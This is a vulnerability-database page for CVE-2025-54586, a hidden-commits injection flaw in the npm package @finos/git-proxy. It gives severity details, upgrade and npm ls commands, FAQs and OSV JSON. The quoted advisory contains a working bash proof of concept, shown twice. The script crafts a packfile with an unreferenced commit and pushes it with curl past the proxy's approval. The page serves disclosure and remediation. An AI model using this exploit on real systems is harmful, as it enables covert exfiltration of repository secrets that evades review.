Vulnerabilities in pkg:npm/@finos/git-proxy

PACKAGE
Advisory Identifier: GHSA-v98g-8rqx-g93g
Advisory Summary

CVE-2025-54586 is a HIGH (CVSS 7.1) gitproxy hidden commits injection vulnerability (CWE-200: Exposure of Sensitive Information to an Unauthorized Actor) affecting @finos/git proxy libraries in the npm ecosystem. The issue involves gitproxy hidden commits injection. Remediation is available by upgrading affected packages to version 1.19.2.

4 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:npm/@finos/git-proxy

4 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:npm/@finos/git-proxy. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-v98g-8rqx-g93g CVE-2025-54586 HIGH GitProxy Hidden Commits Injection
GHSA-39p2-8hq9-fwj6 CVE-2025-54585 HIGH GitProxy New Branch Approval Exploit
GHSA-xxmh-rf63-qwjv CVE-2025-54584 HIGH GitProxy Backfile Parsing Exploit
GHSA-qr93-8wwf-22g4 CVE-2025-54583 HIGH GitProxy Approval Bypass When Pushing Multiple Branches

CVE-2025-54586 at a Glance

CVE Identifier CVE-2025-54586
GHSA Identifier GHSA-v98g-8rqx-g93g
Severity HIGH
CVSS v3.1 Base Score 7.1
CWE Classification CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Affected Product @finos/git proxy
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2025-54586

To remediate this vulnerability, upgrade all affected @finos/git proxy dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@finos/git-proxy fixed: 1.19.2
npm install @finos/git-proxy@1.19.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @finos/git-proxy

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2025-54586, inspect your project dependencies using npm:

npm ls @finos/git-proxy

Analyze the terminal output to locate any version of @finos/git proxy in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.19.2), your application is affected.

Note: The npm ls @finos/git-proxy command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, where the product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. In @finos/git proxy, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary An attacker can inject extra commits into the pack sent to GitHub, commits that aren’t pointed to by any branch. Although these “hidden” commits never show up in the repository’s visible history, GitHub still serves them at their direct commit URLs. This lets an attacker exfiltrate sensitive data without ever leaving a trace in the branch view. We rate this a High‑impact vulnerability because it completely compromises repository confidentiality. ### Details The proxy currently trusts only the ref‑update line (`oldOid → newOid`) and doesn't inspect the packfile’s contents Because the code only runs `git rev-list oldOid..newOid` to compute **introducedCommits** but **never** checks which commits actually arrived in the pack, a malicious client can append extra commits. Those “hidden” commits won’t be pointed to by any branch but GitHub still stores and serves them by SHA. <img width="2556" height="744" alt="Screenshot 2025-07-16 at 12 29 19" src="https://github.com/user-attachments/assets/abf459a9-310b-4819-a989-797c7e871790" /> ### PoC #### Prerequisites - A GitHub Personal Access Token stored in `~/.github-test-pat`. - A test repository also registered in git-proxy, e.g. `your-org/test-repo.git`, to which you have push rights. #### 1. Prepare the “visible” and “hidden” commits ```bash # Clone the test repository git clone http://localhost:8000/your-org/test-repo.git cd test-repo # 1. Record the original HEAD ORIG_COMMIT=$(git rev-parse HEAD) # 2. Create branch 'foo' and add a visible commit git checkout -b foo echo "visible commit" >> file.txt git add file.txt git commit -m "Visible commit" VISIBLE_COMMIT=$(git rev-parse HEAD) # 3. Go back to the original commit and create a hidden-branch git checkout $ORIG_COMMIT git checkout -b hidden-branch echo "hidden change" > hidden.txt git add hidden.txt git commit -m "Hidden commit" HIDDEN_COMMIT=$(git rev-parse HEAD) # Return to 'foo' git checkout foo ``` #### 2. Push only the visible commit to branch `foo` ```bash git push --set-upstream origin foo # An authorized user approves this push via your normal review workflow ``` #### 3. Build and push a pack containing the hidden commit Create a script named `upload-pack.sh` (replace the placeholder variables with the SHAs you recorded above): ```bash #!/usr/bin/env bash REMOTE_URL="http://localhost:8000/your-org/test-repo.git" REF_NAME="refs/heads/foo" ORIG_COMMIT="<<ORIG_COMMIT>>" NEW_COMMIT="<<VISIBLE_COMMIT>>" OLD_COMMIT="0000000000000000000000000000000000000000" HIDDEN_COMMIT="<<HIDDEN_COMMIT>>" # 1. List all objects for the visible and hidden commits git rev-list --objects --no-object-names "^${ORIG_COMMIT}" ${NEW_COMMIT} > objects.txt git rev-list --objects --no-object-names "^${ORIG_COMMIT}" ${HIDDEN_COMMIT} >> objects.txt # 2. Pack them into a single packfile cat objects.txt git pack-objects --stdout < objects.txt > packfile # 3. Construct the Git smart‑protocol update header printf "${OLD_COMMIT} ${NEW_COMMIT} ${REF_NAME}\0 report-status-v2 side-band-64k object-format=sha1 agent=git/2.39.5" > update_line UPDATE_LINE_LEN="$(wc -c < update_line)" printf "%04x" $((UPDATE_LINE_LEN + 4)) > output cat update_line >> output # Git smart protocol expects a flush packet PKT_FLUSH="0000" printf "%s" "${PKT_FLUSH}" >> output # Append the packfile cat packfile >> output # 4. Send the malicious push via curl curl -u ${USER}:"$(<~/.github-test-pat)" \ -X POST "${REMOTE_URL}/git-receive-pack" \ -H "Content-Type: application/x-git-receive-pack-request" \ -H "Accept: application/x-git-receive-pack-result" \ --user-agent "git/2.42.0" \ --data-binary @output | cat -v ``` Make it executable: ```bash chmod +x upload-pack.sh ``` Run it: ```bash ./upload-pack.sh ``` #### 4. Verify the hidden commit Open in your browser (or via `curl`): ``` https://github.com/your-org/test-repo/commit/<<HIDDEN_COMMIT>> ``` You will see the **“Hidden commit”**, even though it is not referenced by any branch. ### Impact - **Data Exfiltration (Confidentiality breach):** Attackers can inject secrets, credentials, or proprietary data into any repository they push to via git-proxy. - **Undetectable in UI:** Since the hidden commits never appear in branch graphs, standard code review will not surface them. - **Persistence Window:** GitHub retains unreferenced objects for a period long enough to allow automated retrieval before garbage‑collecting them.

CVE-2025-54586 Affected @finos/git proxy Versions

1 component(s)
Fixed Versions:
1.19.2
Product / Package Ecosystem Affected Versions Fixed Version
@finos/git-proxy
npm
< 1.19.2
1.19.2

References

Frequently Asked Questions

What is CVE-2025-54586?
CVE-2025-54586 is a security vulnerability in @finos/git proxy involving GitProxy Hidden Commits Injection under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor.
Which @finos/git proxy versions are affected?
Affected versions include releases prior to 1.19.2 across affected packages: @finos/git-proxy.
What version fixes CVE-2025-54586?
Upgrading to 1.19.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @finos/git-proxy affected?
Yes, @finos/git-proxy is affected in releases prior to 1.19.2. Upgrade your dependency to 1.19.2 or later.
What is the CVSS score of CVE-2025-54586?
CVE-2025-54586 has a CVSS v3.1 base score of 7.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N.
What CWE is associated with CVE-2025-54586?
CVE-2025-54586 is classified under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor (The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.).
How can I check npm dependencies for CVE-2025-54586?
Run the dependency tree command: 'npm ls @finos/git-proxy'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-v98g-8rqx-g93g",
  "modified" : "2025-07-31T12:02:22Z",
  "published" : "2025-07-30T16:40:40Z",
  "aliases" : [ "CVE-2025-54586" ],
  "summary" : "GitProxy Hidden Commits Injection",
  "details" : "### Summary\nAn attacker can inject extra commits into the pack sent to GitHub, commits that aren’t pointed to by any branch. Although these “hidden” commits never show up in the repository’s visible history, GitHub still serves them at their direct commit URLs. This lets an attacker exfiltrate sensitive data without ever leaving a trace in the branch view. We rate this a High‑impact vulnerability because it completely compromises repository confidentiality.\n\n### Details\n\nThe proxy currently trusts only the ref‑update line (`oldOid → newOid`) and doesn't inspect the packfile’s contents\n\nBecause the code only runs `git rev-list oldOid..newOid` to compute **introducedCommits** but **never** checks which commits actually arrived in the pack, a malicious client can append extra commits. Those “hidden” commits won’t be pointed to by any branch but GitHub still stores and serves them by SHA. \n<img width=\"2556\" height=\"744\" alt=\"Screenshot 2025-07-16 at 12 29 19\" src=\"https://github.com/user-attachments/assets/abf459a9-310b-4819-a989-797c7e871790\" />\n\n### PoC\n\n#### Prerequisites\n\n-   A GitHub Personal Access Token stored in `~/.github-test-pat`.\n-   A test repository also registered in git-proxy, e.g. `your-org/test-repo.git`, to which you have push rights.\n\n#### 1. Prepare the “visible” and “hidden” commits\n\n```bash\n# Clone the test repository\ngit clone http://localhost:8000/your-org/test-repo.git\ncd test-repo\n\n# 1. Record the original HEAD\nORIG_COMMIT=$(git rev-parse HEAD)\n\n# 2. Create branch 'foo' and add a visible commit\ngit checkout -b foo\necho \"visible commit\" >> file.txt\ngit add file.txt\ngit commit -m \"Visible commit\"\nVISIBLE_COMMIT=$(git rev-parse HEAD)\n\n# 3. Go back to the original commit and create a hidden-branch\ngit checkout $ORIG_COMMIT\ngit checkout -b hidden-branch\necho \"hidden change\" > hidden.txt\ngit add hidden.txt\ngit commit -m \"Hidden commit\"\nHIDDEN_COMMIT=$(git rev-parse HEAD)\n\n# Return to 'foo'\ngit checkout foo\n```\n\n#### 2. Push only the visible commit to branch `foo`\n\n```bash\ngit push --set-upstream origin foo\n# An authorized user approves this push via your normal review workflow\n```\n\n#### 3. Build and push a pack containing the hidden commit\n\nCreate a script named `upload-pack.sh` (replace the placeholder variables with the SHAs you recorded above):\n\n```bash\n#!/usr/bin/env bash\nREMOTE_URL=\"http://localhost:8000/your-org/test-repo.git\"\nREF_NAME=\"refs/heads/foo\"\nORIG_COMMIT=\"<<ORIG_COMMIT>>\"\nNEW_COMMIT=\"<<VISIBLE_COMMIT>>\"\nOLD_COMMIT=\"0000000000000000000000000000000000000000\"\nHIDDEN_COMMIT=\"<<HIDDEN_COMMIT>>\"\n\n# 1. List all objects for the visible and hidden commits\ngit rev-list --objects --no-object-names \"^${ORIG_COMMIT}\" ${NEW_COMMIT} > objects.txt\ngit rev-list --objects --no-object-names \"^${ORIG_COMMIT}\" ${HIDDEN_COMMIT} >> objects.txt\n\n# 2. Pack them into a single packfile\ncat objects.txt\ngit pack-objects --stdout < objects.txt > packfile\n\n# 3. Construct the Git smart‑protocol update header\nprintf \"${OLD_COMMIT} ${NEW_COMMIT} ${REF_NAME}\\0 report-status-v2 side-band-64k object-format=sha1 agent=git/2.39.5\" > update_line\nUPDATE_LINE_LEN=\"$(wc -c < update_line)\"\n\nprintf \"%04x\" $((UPDATE_LINE_LEN + 4)) > output\ncat update_line >> output\n\n# Git smart protocol expects a flush packet\nPKT_FLUSH=\"0000\"\nprintf \"%s\" \"${PKT_FLUSH}\" >> output\n\n# Append the packfile\ncat packfile >> output\n\n# 4. Send the malicious push via curl\ncurl -u ${USER}:\"$(<~/.github-test-pat)\" \\\n  -X POST \"${REMOTE_URL}/git-receive-pack\" \\\n  -H \"Content-Type: application/x-git-receive-pack-request\" \\\n  -H \"Accept: application/x-git-receive-pack-result\" \\\n  --user-agent \"git/2.42.0\" \\\n  --data-binary @output | cat -v\n```\n\nMake it executable:\n\n```bash\nchmod +x upload-pack.sh\n```\n\nRun it:\n\n```bash\n./upload-pack.sh\n```\n\n#### 4. Verify the hidden commit\n\nOpen in your browser (or via `curl`):\n\n```\nhttps://github.com/your-org/test-repo/commit/<<HIDDEN_COMMIT>>\n```\n\nYou will see the **“Hidden commit”**, even though it is not referenced by any branch.\n\n### Impact\n- **Data Exfiltration (Confidentiality breach):**  \n  Attackers can inject secrets, credentials, or proprietary data into any repository they push to via git-proxy.\n\n- **Undetectable in UI:**  \n  Since the hidden commits never appear in branch graphs, standard code review will not surface them.\n\n- **Persistence Window:**  \n  GitHub retains unreferenced objects for a period long enough to allow automated retrieval before garbage‑collecting them.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@finos/git-proxy"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.19.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.19.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/finos/git-proxy/security/advisories/GHSA-v98g-8rqx-g93g"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-54586"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/finos/git-proxy/commit/9c1449f4ec37d2d1f3edf4328bc3757e8dba2110"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/finos/git-proxy/commit/a620a2f33c39c78e01783a274580bf822af3cc3a"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/finos/git-proxy"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/finos/git-proxy/releases/tag/v1.19.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-200" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-07-30T16:40:40Z",
    "nvd_published_at" : "2025-07-30T22:15:25Z"
  }
}